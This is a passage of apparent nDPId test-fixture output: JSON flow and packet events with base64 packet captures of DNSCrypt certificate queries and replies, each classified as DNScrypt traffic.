AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":350,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":50387,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":351,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":40138,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61081,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcXcpAAL0RQhYKAAABjgTNL5zKAbsCCB4KqloBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":351,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":40138,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":352,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61087,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQXckAub0RgyoKAAABjgTNLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":352,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":353,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":51935,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61101,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcXcsgAL0RXlUKAAABjgTNL8rfAbsGBBssqlcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":353,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":51935,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":354,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61118,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQXcsAub0RgygKAAABjgTNLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":354,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":355,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":54096,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":149,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61197,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcXcwgAL0RXlQKAAABjgTNL9NQAbsGBBK3qlsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":355,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":54096,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00674{"flow_id":142,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61202,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADX+4lAADQRFDCXUN5PCgAAAQG7y0gAw+xKXDCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADbIkde1\/iXw9F8aP3hFzW\/UlCbjrsaMoYt8+MW53XVHmJZ40u2KJ1Y5p9+bOkgm9KOg6J\/Jk5OIIo5rrGKNcsPhxVktS2XlAVyckcTA1HXSkhBDvC7R+LCFU83mg2ymgqHFWS1LZeUBQAAAAFfU5R+X1Tl\/g=="} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":357,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61216,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQXcwAub0RgycKAAABjgTNLwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":357,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":358,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":35903,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":150,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61289,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcXc1AAL0RQhMKAAABjgTNL4w\/AbsCCB4KqlgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":358,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":946739318061,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":35903,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00674{"flow_id":143,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":61517,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADX+4pAADQRFC+XUN5PCgAAAQG74SQAw9ZtXDGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADbIkde1\/iXw9F8aP3hFzW\/UlCbjrsaMoYt8+MW53XVHmJZ40u2KJ1Y5p9+bOkgm9KOg6J\/Jk5OIIo5rrGKNcsPhxVktS2XlAVyckcTA1HXSkhBDvC7R+LCFU83mg2ymgqHFWS1LZeUBQAAAAFfU5R+X1Tl\/g=="} +00674{"flow_id":144,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":62260,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADX+4tAADQRFC6XUN5PCgAAAQG7lm8AwyEmXC6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADbIkde1\/iXw9F8aP3hFzW\/UlCbjrsaMoYt8+MW53XVHmJZ40u2KJ1Y5p9+bOkgm9KOg6J\/Jk5OIIo5rrGKNcsPhxVktS2XlAVyckcTA1HXSkhBDvC7R+LCFU83mg2ymgqHFWS1LZeUBQAAAAFfU5R+X1Tl\/g=="} +00675{"flow_id":141,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":63093,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"ZmZmZmZmRERERERECABFAADX+4hAADQRFDGXUN5PCgAAAQG7unEAw\/0kXC2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADbIkde1\/iXw9F8aP3hFzW\/UlCbjrsaMoYt8+MW53XVHmJZ40u2KJ1Y5p9+bOkgm9KOg6J\/Jk5OIIo5rrGKNcsPhxVktS2XlAVyckcTA1HXSkhBDvC7R+LCFU83mg2ymgqHFWS1LZeUBQAAAAFfU5R+X1Tl\/g=="} +00672{"flow_id":145,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":164590,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWEe8AADQRWDiOBM0vCgAAAQG75oMAwm2uqlyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAAVJsH+RdJNH3D0PM7heo\/dPPI3i1+4vLX8T10ivxa\/CqjJyTHnmZoOX4oJMyJ42Khrgw6i1Ft4Vh\/Rb2U7RsAXZ5P9pZAltiMSwIbLDTpLjw5sG+xMI0gbdPS4ze+O\/Bdnk\/2lkCW2IWX62bll+tm5sSrlu"} +00672{"flow_id":148,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":167743,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWEfEAADQRWDaOBM0vCgAAAQG7yt8AwolXqleBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAAVJsH+RdJNH3D0PM7heo\/dPPI3i1+4vLX8T10ivxa\/CqjJyTHnmZoOX4oJMyJ42Khrgw6i1Ft4Vh\/Rb2U7RsAXZ5P9pZAltiMSwIbLDTpLjw5sG+xMI0gbdPS4ze+O\/Bdnk\/2lkCW2IWX62bll+tm5sSrlu"} 